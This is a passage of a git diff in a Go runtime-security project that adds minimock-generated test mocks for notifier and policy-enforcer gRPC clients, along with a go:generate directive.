+ + mmNotify.mock.funcNotify = f + mmNotify.mock.funcNotifyOrigin = minimock.CallerInfo(1) + return mmNotify.mock +} + +// When sets expectation for the NotifierClient.Notify which will trigger the result defined by the following +// Then helper +func (mmNotify *mNotifierClientMockNotify) When(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption) *NotifierClientMockNotifyExpectation { + if mmNotify.mock.funcNotify != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Set") + } + + expectation := &NotifierClientMockNotifyExpectation{ + mock: mmNotify.mock, + params: &NotifierClientMockNotifyParams{ctx, in, opts}, + expectationOrigins: NotifierClientMockNotifyExpectationOrigins{origin: minimock.CallerInfo(1)}, + } + mmNotify.expectations = append(mmNotify.expectations, expectation) + return expectation +} + +// Then sets up NotifierClient.Notify return parameters for the expectation previously defined by the When method +func (e *NotifierClientMockNotifyExpectation) Then(ep1 *emptypb.Empty, err error) *NotifierClientMock { + e.results = &NotifierClientMockNotifyResults{ep1, err} + return e.mock +} + +// Times sets number of times NotifierClient.Notify should be invoked +func (mmNotify *mNotifierClientMockNotify) Times(n uint64) *mNotifierClientMockNotify { + if n == 0 { + mmNotify.mock.t.Fatalf("Times of NotifierClientMock.Notify mock can not be zero") + } + mm_atomic.StoreUint64(&mmNotify.expectedInvocations, n) + mmNotify.expectedInvocationsOrigin = minimock.CallerInfo(1) + return mmNotify +} + +func (mmNotify *mNotifierClientMockNotify) invocationsDone() bool { + if len(mmNotify.expectations) == 0 && mmNotify.defaultExpectation == nil && mmNotify.mock.funcNotify == nil { + return true + } + + totalInvocations := mm_atomic.LoadUint64(&mmNotify.mock.afterNotifyCounter) + expectedInvocations := mm_atomic.LoadUint64(&mmNotify.expectedInvocations) + + return totalInvocations > 0 && (expectedInvocations == 0 || expectedInvocations == totalInvocations) +} + +// Notify implements mm_api.NotifierClient +func (mmNotify *NotifierClientMock) Notify(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption) (ep1 *emptypb.Empty, err error) { + mm_atomic.AddUint64(&mmNotify.beforeNotifyCounter, 1) + defer mm_atomic.AddUint64(&mmNotify.afterNotifyCounter, 1) + + mmNotify.t.Helper() + + if mmNotify.inspectFuncNotify != nil { + mmNotify.inspectFuncNotify(ctx, in, opts...) + } + + mm_params := NotifierClientMockNotifyParams{ctx, in, opts} + + // Record call args + mmNotify.NotifyMock.mutex.Lock() + mmNotify.NotifyMock.callArgs = append(mmNotify.NotifyMock.callArgs, &mm_params) + mmNotify.NotifyMock.mutex.Unlock() + + for _, e := range mmNotify.NotifyMock.expectations { + if minimock.Equal(*e.params, mm_params) { + mm_atomic.AddUint64(&e.Counter, 1) + return e.results.ep1, e.results.err + } + } + + if mmNotify.NotifyMock.defaultExpectation != nil { + mm_atomic.AddUint64(&mmNotify.NotifyMock.defaultExpectation.Counter, 1) + mm_want := mmNotify.NotifyMock.defaultExpectation.params + mm_want_ptrs := mmNotify.NotifyMock.defaultExpectation.paramPtrs + + mm_got := NotifierClientMockNotifyParams{ctx, in, opts} + + if mm_want_ptrs != nil { + + if mm_want_ptrs.ctx != nil && !minimock.Equal(*mm_want_ptrs.ctx, mm_got.ctx) { + mmNotify.t.Errorf("NotifierClientMock.Notify got unexpected parameter ctx, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmNotify.NotifyMock.defaultExpectation.expectationOrigins.originCtx, *mm_want_ptrs.ctx, mm_got.ctx, minimock.Diff(*mm_want_ptrs.ctx, mm_got.ctx)) + } + + if mm_want_ptrs.in != nil && !minimock.Equal(*mm_want_ptrs.in, mm_got.in) { + mmNotify.t.Errorf("NotifierClientMock.Notify got unexpected parameter in, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmNotify.NotifyMock.defaultExpectation.expectationOrigins.originIn, *mm_want_ptrs.in, mm_got.in, minimock.Diff(*mm_want_ptrs.in, mm_got.in)) + } + + if mm_want_ptrs.opts != nil && !minimock.Equal(*mm_want_ptrs.opts, mm_got.opts) { + mmNotify.t.Errorf("NotifierClientMock.Notify got unexpected parameter opts, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmNotify.NotifyMock.defaultExpectation.expectationOrigins.originOpts, *mm_want_ptrs.opts, mm_got.opts, minimock.Diff(*mm_want_ptrs.opts, mm_got.opts)) + } + + } else if mm_want != nil && !minimock.Equal(*mm_want, mm_got) { + mmNotify.t.Errorf("NotifierClientMock.Notify got unexpected parameters, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmNotify.NotifyMock.defaultExpectation.expectationOrigins.origin, *mm_want, mm_got, minimock.Diff(*mm_want, mm_got)) + } + + mm_results := mmNotify.NotifyMock.defaultExpectation.results + if mm_results == nil { + mmNotify.t.Fatal("No results are set for the NotifierClientMock.Notify") + } + return (*mm_results).ep1, (*mm_results).err + } + if mmNotify.funcNotify != nil { + return mmNotify.funcNotify(ctx, in, opts...) + } + mmNotify.t.Fatalf("Unexpected call to NotifierClientMock.Notify. %v %v %v", ctx, in, opts) + return +} + +// NotifyAfterCounter returns a count of finished NotifierClientMock.Notify invocations +func (mmNotify *NotifierClientMock) NotifyAfterCounter() uint64 { + return mm_atomic.LoadUint64(&mmNotify.afterNotifyCounter) +} + +// NotifyBeforeCounter returns a count of NotifierClientMock.Notify invocations +func (mmNotify *NotifierClientMock) NotifyBeforeCounter() uint64 { + return mm_atomic.LoadUint64(&mmNotify.beforeNotifyCounter) +} + +// Calls returns a list of arguments used in each call to NotifierClientMock.Notify. +// The list is in the same order as the calls were made (i.e. recent calls have a higher index) +func (mmNotify *mNotifierClientMockNotify) Calls() []*NotifierClientMockNotifyParams { + mmNotify.mutex.RLock() + + argCopy := make([]*NotifierClientMockNotifyParams, len(mmNotify.callArgs)) + copy(argCopy, mmNotify.callArgs) + + mmNotify.mutex.RUnlock() + + return argCopy +} + +// MinimockNotifyDone returns true if the count of the Notify invocations corresponds +// the number of defined expectations +func (m *NotifierClientMock) MinimockNotifyDone() bool { + if m.NotifyMock.optional { + // Optional methods provide '0 or more' call count restriction. + return true + } + + for _, e := range m.NotifyMock.expectations { + if mm_atomic.LoadUint64(&e.Counter) < 1 { + return false + } + } + + return m.NotifyMock.invocationsDone() +} + +// MinimockNotifyInspect logs each unmet expectation +func (m *NotifierClientMock) MinimockNotifyInspect() { + for _, e := range m.NotifyMock.expectations { + if mm_atomic.LoadUint64(&e.Counter) < 1 { + m.t.Errorf("Expected call to NotifierClientMock.Notify at\n%s with params: %#v", e.expectationOrigins.origin, *e.params) + } + } + + afterNotifyCounter := mm_atomic.LoadUint64(&m.afterNotifyCounter) + // if default expectation was set then invocations count should be greater than zero + if m.NotifyMock.defaultExpectation != nil && afterNotifyCounter < 1 { + if m.NotifyMock.defaultExpectation.params == nil { + m.t.Errorf("Expected call to NotifierClientMock.Notify at\n%s", m.NotifyMock.defaultExpectation.returnOrigin) + } else { + m.t.Errorf("Expected call to NotifierClientMock.Notify at\n%s with params: %#v", m.NotifyMock.defaultExpectation.expectationOrigins.origin, *m.NotifyMock.defaultExpectation.params) + } + } + // if func was set then invocations count should be greater than zero + if m.funcNotify != nil && afterNotifyCounter < 1 { + m.t.Errorf("Expected call to NotifierClientMock.Notify at\n%s", m.funcNotifyOrigin) + } + + if !m.NotifyMock.invocationsDone() && afterNotifyCounter > 0 { + m.t.Errorf("Expected %d calls to NotifierClientMock.Notify at\n%s but found %d calls", + mm_atomic.LoadUint64(&m.NotifyMock.expectedInvocations), m.NotifyMock.expectedInvocationsOrigin, afterNotifyCounter) + } +} + +// MinimockFinish checks that all mocked methods have been called the expected number of times +func (m *NotifierClientMock) MinimockFinish() { + m.finishOnce.Do(func() { + if !m.minimockDone() { + m.MinimockNotifyInspect() + } + }) +} + +// MinimockWait waits for all mocked methods to be called the expected number of times +func (m *NotifierClientMock) MinimockWait(timeout mm_time.Duration) { + timeoutCh := mm_time.After(timeout) + for { + if m.minimockDone() { + return + } + select { + case <-timeoutCh: + m.MinimockFinish() + return + case <-mm_time.After(10 * mm_time.Millisecond): + } + } +} + +func (m *NotifierClientMock) minimockDone() bool { + done := true + return done && + m.MinimockNotifyDone() +} diff --git a/event-processor/pkg/client/policy_enforcer.go b/event-processor/pkg/client/policy_enforcer.go index 7b8c8292..5a6230b1 100644 --- a/event-processor/pkg/client/policy_enforcer.go +++ b/event-processor/pkg/client/policy_enforcer.go @@ -1,5 +1,7 @@ package client +//go:generate minimock -i github.com/runtime-radar/runtime-radar/policy-enforcer/api.EnforcerClient -o ./policy_enforcer_mock.go -n EnforcerClientMock -g + import ( "crypto/tls" diff --git a/event-processor/pkg/client/policy_enforcer_mock.go b/event-processor/pkg/client/policy_enforcer_mock.go new file mode 100644 index 00000000..6ef36791 --- /dev/null +++ b/event-processor/pkg/client/policy_enforcer_mock.go @@ -0,0 +1,448 @@ +// Code generated by http://github.com/gojuno/minimock (v3.4.7). DO NOT EDIT. + +package client + +import ( + context "context" + "sync" + mm_atomic "sync/atomic" + mm_time "time" + + "github.com/gojuno/minimock/v3" + mm_api "github.com/runtime-radar/runtime-radar/policy-enforcer/api" + grpc "google.golang.org/grpc" +) + +// EnforcerClientMock implements mm_api.EnforcerClient +type EnforcerClientMock struct { + t minimock.Tester + finishOnce sync.Once + + funcEvaluatePolicyRuntimeEvent func(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption) (ep1 *mm_api.EvaluatePolicyRuntimeEventReq, err error) + funcEvaluatePolicyRuntimeEventOrigin string + inspectFuncEvaluatePolicyRuntimeEvent func(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption) + afterEvaluatePolicyRuntimeEventCounter uint64 + beforeEvaluatePolicyRuntimeEventCounter uint64 + EvaluatePolicyRuntimeEventMock mEnforcerClientMockEvaluatePolicyRuntimeEvent +} + +// NewEnforcerClientMock returns a mock for mm_api.EnforcerClient +func NewEnforcerClientMock(t minimock.Tester) *EnforcerClientMock { + m := &EnforcerClientMock{t: t} + + if controller, ok := t.(minimock.MockController); ok { + controller.RegisterMocker(m) + } + + m.EvaluatePolicyRuntimeEventMock = mEnforcerClientMockEvaluatePolicyRuntimeEvent{mock: m} + m.EvaluatePolicyRuntimeEventMock.callArgs = []*EnforcerClientMockEvaluatePolicyRuntimeEventParams{} + + t.Cleanup(m.MinimockFinish) + + return m +} + +type mEnforcerClientMockEvaluatePolicyRuntimeEvent struct { + optional bool + mock *EnforcerClientMock + defaultExpectation *EnforcerClientMockEvaluatePolicyRuntimeEventExpectation + expectations []*EnforcerClientMockEvaluatePolicyRuntimeEventExpectation + + callArgs []*EnforcerClientMockEvaluatePolicyRuntimeEventParams + mutex sync.RWMutex + + expectedInvocations uint64 + expectedInvocationsOrigin string +} + +// EnforcerClientMockEvaluatePolicyRuntimeEventExpectation specifies expectation struct of the EnforcerClient.EvaluatePolicyRuntimeEvent +type EnforcerClientMockEvaluatePolicyRuntimeEventExpectation struct { + mock *EnforcerClientMock + params *EnforcerClientMockEvaluatePolicyRuntimeEventParams + paramPtrs *EnforcerClientMockEvaluatePolicyRuntimeEventParamPtrs + expectationOrigins EnforcerClientMockEvaluatePolicyRuntimeEventExpectationOrigins + results *EnforcerClientMockEvaluatePolicyRuntimeEventResults + returnOrigin string + Counter uint64 +} + +// EnforcerClientMockEvaluatePolicyRuntimeEventParams contains parameters of the EnforcerClient.EvaluatePolicyRuntimeEvent +type EnforcerClientMockEvaluatePolicyRuntimeEventParams struct { + ctx context.Context + in *mm_api.EvaluatePolicyRuntimeEventReq + opts []grpc.CallOption +} + +// EnforcerClientMockEvaluatePolicyRuntimeEventParamPtrs contains pointers to parameters of the EnforcerClient.EvaluatePolicyRuntimeEvent +type EnforcerClientMockEvaluatePolicyRuntimeEventParamPtrs struct { + ctx *context.Context + in **mm_api.EvaluatePolicyRuntimeEventReq + opts *[]grpc.CallOption +} + +// EnforcerClientMockEvaluatePolicyRuntimeEventResults contains results of the EnforcerClient.EvaluatePolicyRuntimeEvent +type EnforcerClientMockEvaluatePolicyRuntimeEventResults struct { + ep1 *mm_api.EvaluatePolicyRuntimeEventReq + err error +} + +// EnforcerClientMockEvaluatePolicyRuntimeEventOrigins contains origins of expectations of the EnforcerClient.EvaluatePolicyRuntimeEvent +type EnforcerClientMockEvaluatePolicyRuntimeEventExpectationOrigins struct { + origin string + originCtx string + originIn string + originOpts string +} + +// Marks this method to be optional. The default behavior of any method with Return() is '1 or more', meaning +// the test will fail minimock's automatic final call check if the mocked method was not called at least once. +// Optional() makes method check to work in '0 or more' mode. +// It is NOT RECOMMENDED to use this option unless you really need it, as default behaviour helps to +// catch the problems when the expected method call is totally skipped during test run. +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Optional() *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + mmEvaluatePolicyRuntimeEvent.optional = true + return mmEvaluatePolicyRuntimeEvent +} + +// Expect sets up expected params for EnforcerClient.EvaluatePolicyRuntimeEvent +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Expect(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption) *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + if mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Set") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation = &EnforcerClientMockEvaluatePolicyRuntimeEventExpectation{} + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by ExpectParams functions") + } + + mmEvaluatePolicyRuntimeEvent.defaultExpectation.params = &EnforcerClientMockEvaluatePolicyRuntimeEventParams{ctx, in, opts} + mmEvaluatePolicyRuntimeEvent.defaultExpectation.expectationOrigins.origin = minimock.CallerInfo(1) + for _, e := range mmEvaluatePolicyRuntimeEvent.expectations { + if minimock.Equal(e.params, mmEvaluatePolicyRuntimeEvent.defaultExpectation.params) { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("Expectation set by When has same params: %#v", *mmEvaluatePolicyRuntimeEvent.defaultExpectation.params) + } + } + + return mmEvaluatePolicyRuntimeEvent +} + +// ExpectCtxParam1 sets up expected param ctx for EnforcerClient.EvaluatePolicyRuntimeEvent +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) ExpectCtxParam1(ctx context.Context) *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + if mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Set") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation = &EnforcerClientMockEvaluatePolicyRuntimeEventExpectation{} + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.params != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Expect") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs = &EnforcerClientMockEvaluatePolicyRuntimeEventParamPtrs{} + } + mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs.ctx = &ctx + mmEvaluatePolicyRuntimeEvent.defaultExpectation.expectationOrigins.originCtx = minimock.CallerInfo(1) + + return mmEvaluatePolicyRuntimeEvent +} + +// ExpectInParam2 sets up expected param in for EnforcerClient.EvaluatePolicyRuntimeEvent +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) ExpectInParam2(in *mm_api.EvaluatePolicyRuntimeEventReq) *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + if mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Set") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation = &EnforcerClientMockEvaluatePolicyRuntimeEventExpectation{} + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.params != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Expect") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs = &EnforcerClientMockEvaluatePolicyRuntimeEventParamPtrs{} + } + mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs.in = &in + mmEvaluatePolicyRuntimeEvent.defaultExpectation.expectationOrigins.originIn = minimock.CallerInfo(1) + + return mmEvaluatePolicyRuntimeEvent +} + +// ExpectOptsParam3 sets up expected param opts for EnforcerClient.EvaluatePolicyRuntimeEvent +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) ExpectOptsParam3(opts ...grpc.CallOption) *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + if mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Set") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation = &EnforcerClientMockEvaluatePolicyRuntimeEventExpectation{} + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.params != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Expect") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs = &EnforcerClientMockEvaluatePolicyRuntimeEventParamPtrs{} + } + mmEvaluatePolicyRuntimeEvent.defaultExpectation.paramPtrs.opts = &opts + mmEvaluatePolicyRuntimeEvent.defaultExpectation.expectationOrigins.originOpts = minimock.CallerInfo(1) + + return mmEvaluatePolicyRuntimeEvent +} + +// Inspect accepts an inspector function that has same arguments as the EnforcerClient.EvaluatePolicyRuntimeEvent +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Inspect(f func(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption)) *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + if mmEvaluatePolicyRuntimeEvent.mock.inspectFuncEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("Inspect function is already set for EnforcerClientMock.EvaluatePolicyRuntimeEvent") + } + + mmEvaluatePolicyRuntimeEvent.mock.inspectFuncEvaluatePolicyRuntimeEvent = f + + return mmEvaluatePolicyRuntimeEvent +} + +// Return sets up results that will be returned by EnforcerClient.EvaluatePolicyRuntimeEvent +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Return(ep1 *mm_api.EvaluatePolicyRuntimeEventReq, err error) *EnforcerClientMock { + if mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Set") + } + + if mmEvaluatePolicyRuntimeEvent.defaultExpectation == nil { + mmEvaluatePolicyRuntimeEvent.defaultExpectation = &EnforcerClientMockEvaluatePolicyRuntimeEventExpectation{mock: mmEvaluatePolicyRuntimeEvent.mock} + } + mmEvaluatePolicyRuntimeEvent.defaultExpectation.results = &EnforcerClientMockEvaluatePolicyRuntimeEventResults{ep1, err} + mmEvaluatePolicyRuntimeEvent.defaultExpectation.returnOrigin = minimock.CallerInfo(1) + return mmEvaluatePolicyRuntimeEvent.mock +} + +// Set uses given function f to mock the EnforcerClient.EvaluatePolicyRuntimeEvent method +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Set(f func(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption) (ep1 *mm_api.EvaluatePolicyRuntimeEventReq, err error)) *EnforcerClientMock { + if mmEvaluatePolicyRuntimeEvent.defaultExpectation != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("Default expectation is already set for the EnforcerClient.EvaluatePolicyRuntimeEvent method") + } + + if len(mmEvaluatePolicyRuntimeEvent.expectations) > 0 { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("Some expectations are already set for the EnforcerClient.EvaluatePolicyRuntimeEvent method") + } + + mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent = f + mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEventOrigin = minimock.CallerInfo(1) + return mmEvaluatePolicyRuntimeEvent.mock +} + +// When sets expectation for the EnforcerClient.EvaluatePolicyRuntimeEvent which will trigger the result defined by the following +// Then helper +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) When(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption) *EnforcerClientMockEvaluatePolicyRuntimeEventExpectation { + if mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("EnforcerClientMock.EvaluatePolicyRuntimeEvent mock is already set by Set") + } + + expectation := &EnforcerClientMockEvaluatePolicyRuntimeEventExpectation{ + mock: mmEvaluatePolicyRuntimeEvent.mock, + params: &EnforcerClientMockEvaluatePolicyRuntimeEventParams{ctx, in, opts}, + expectationOrigins: EnforcerClientMockEvaluatePolicyRuntimeEventExpectationOrigins{origin: minimock.CallerInfo(1)}, + } + mmEvaluatePolicyRuntimeEvent.expectations = append(mmEvaluatePolicyRuntimeEvent.expectations, expectation) + return expectation +} + +// Then sets up EnforcerClient.EvaluatePolicyRuntimeEvent return parameters for the expectation previously defined by the When method +func (e *EnforcerClientMockEvaluatePolicyRuntimeEventExpectation) Then(ep1 *mm_api.EvaluatePolicyRuntimeEventReq, err error) *EnforcerClientMock { + e.results = &EnforcerClientMockEvaluatePolicyRuntimeEventResults{ep1, err} + return e.mock +} + +// Times sets number of times EnforcerClient.EvaluatePolicyRuntimeEvent should be invoked +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Times(n uint64) *mEnforcerClientMockEvaluatePolicyRuntimeEvent { + if n == 0 { + mmEvaluatePolicyRuntimeEvent.mock.t.Fatalf("Times of EnforcerClientMock.EvaluatePolicyRuntimeEvent mock can not be zero") + } + mm_atomic.StoreUint64(&mmEvaluatePolicyRuntimeEvent.expectedInvocations, n) + mmEvaluatePolicyRuntimeEvent.expectedInvocationsOrigin = minimock.CallerInfo(1) + return mmEvaluatePolicyRuntimeEvent +} + +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) invocationsDone() bool { + if len(mmEvaluatePolicyRuntimeEvent.expectations) == 0 && mmEvaluatePolicyRuntimeEvent.defaultExpectation == nil && mmEvaluatePolicyRuntimeEvent.mock.funcEvaluatePolicyRuntimeEvent == nil { + return true + } + + totalInvocations := mm_atomic.LoadUint64(&mmEvaluatePolicyRuntimeEvent.mock.afterEvaluatePolicyRuntimeEventCounter) + expectedInvocations := mm_atomic.LoadUint64(&mmEvaluatePolicyRuntimeEvent.expectedInvocations) + + return totalInvocations > 0 && (expectedInvocations == 0 || expectedInvocations == totalInvocations) +} + +// EvaluatePolicyRuntimeEvent implements mm_api.EnforcerClient +func (mmEvaluatePolicyRuntimeEvent *EnforcerClientMock) EvaluatePolicyRuntimeEvent(ctx context.Context, in *mm_api.EvaluatePolicyRuntimeEventReq, opts ...grpc.CallOption) (ep1 *mm_api.EvaluatePolicyRuntimeEventReq, err error) { + mm_atomic.AddUint64(&mmEvaluatePolicyRuntimeEvent.beforeEvaluatePolicyRuntimeEventCounter, 1) + defer mm_atomic.AddUint64(&mmEvaluatePolicyRuntimeEvent.afterEvaluatePolicyRuntimeEventCounter, 1) + + mmEvaluatePolicyRuntimeEvent.t.Helper() + + if mmEvaluatePolicyRuntimeEvent.inspectFuncEvaluatePolicyRuntimeEvent != nil { + mmEvaluatePolicyRuntimeEvent.inspectFuncEvaluatePolicyRuntimeEvent(ctx, in, opts...) + } + + mm_params := EnforcerClientMockEvaluatePolicyRuntimeEventParams{ctx, in, opts} + + // Record call args + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.mutex.Lock() + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.callArgs = append(mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.callArgs, &mm_params) + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.mutex.Unlock() + + for _, e := range mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.expectations { + if minimock.Equal(*e.params, mm_params) { + mm_atomic.AddUint64(&e.Counter, 1) + return e.results.ep1, e.results.err + } + } + + if mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation != nil { + mm_atomic.AddUint64(&mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.Counter, 1) + mm_want := mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.params + mm_want_ptrs := mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.paramPtrs + + mm_got := EnforcerClientMockEvaluatePolicyRuntimeEventParams{ctx, in, opts} + + if mm_want_ptrs != nil { + + if mm_want_ptrs.ctx != nil && !minimock.Equal(*mm_want_ptrs.ctx, mm_got.ctx) { + mmEvaluatePolicyRuntimeEvent.t.Errorf("EnforcerClientMock.EvaluatePolicyRuntimeEvent got unexpected parameter ctx, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.expectationOrigins.originCtx, *mm_want_ptrs.ctx, mm_got.ctx, minimock.Diff(*mm_want_ptrs.ctx, mm_got.ctx)) + } + + if mm_want_ptrs.in != nil && !minimock.Equal(*mm_want_ptrs.in, mm_got.in) { + mmEvaluatePolicyRuntimeEvent.t.Errorf("EnforcerClientMock.EvaluatePolicyRuntimeEvent got unexpected parameter in, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.expectationOrigins.originIn, *mm_want_ptrs.in, mm_got.in, minimock.Diff(*mm_want_ptrs.in, mm_got.in)) + } + + if mm_want_ptrs.opts != nil && !minimock.Equal(*mm_want_ptrs.opts, mm_got.opts) { + mmEvaluatePolicyRuntimeEvent.t.Errorf("EnforcerClientMock.EvaluatePolicyRuntimeEvent got unexpected parameter opts, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.expectationOrigins.originOpts, *mm_want_ptrs.opts, mm_got.opts, minimock.Diff(*mm_want_ptrs.opts, mm_got.opts)) + } + + } else if mm_want != nil && !minimock.Equal(*mm_want, mm_got) { + mmEvaluatePolicyRuntimeEvent.t.Errorf("EnforcerClientMock.EvaluatePolicyRuntimeEvent got unexpected parameters, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.expectationOrigins.origin, *mm_want, mm_got, minimock.Diff(*mm_want, mm_got)) + } + + mm_results := mmEvaluatePolicyRuntimeEvent.EvaluatePolicyRuntimeEventMock.defaultExpectation.results + if mm_results == nil { + mmEvaluatePolicyRuntimeEvent.t.Fatal("No results are set for the EnforcerClientMock.EvaluatePolicyRuntimeEvent") + } + return (*mm_results).ep1, (*mm_results).err + } + if mmEvaluatePolicyRuntimeEvent.funcEvaluatePolicyRuntimeEvent != nil { + return mmEvaluatePolicyRuntimeEvent.funcEvaluatePolicyRuntimeEvent(ctx, in, opts...) + } + mmEvaluatePolicyRuntimeEvent.t.Fatalf("Unexpected call to EnforcerClientMock.EvaluatePolicyRuntimeEvent. %v %v %v", ctx, in, opts) + return +} + +// EvaluatePolicyRuntimeEventAfterCounter returns a count of finished EnforcerClientMock.EvaluatePolicyRuntimeEvent invocations +func (mmEvaluatePolicyRuntimeEvent *EnforcerClientMock) EvaluatePolicyRuntimeEventAfterCounter() uint64 { + return mm_atomic.LoadUint64(&mmEvaluatePolicyRuntimeEvent.afterEvaluatePolicyRuntimeEventCounter) +} + +// EvaluatePolicyRuntimeEventBeforeCounter returns a count of EnforcerClientMock.EvaluatePolicyRuntimeEvent invocations +func (mmEvaluatePolicyRuntimeEvent *EnforcerClientMock) EvaluatePolicyRuntimeEventBeforeCounter() uint64 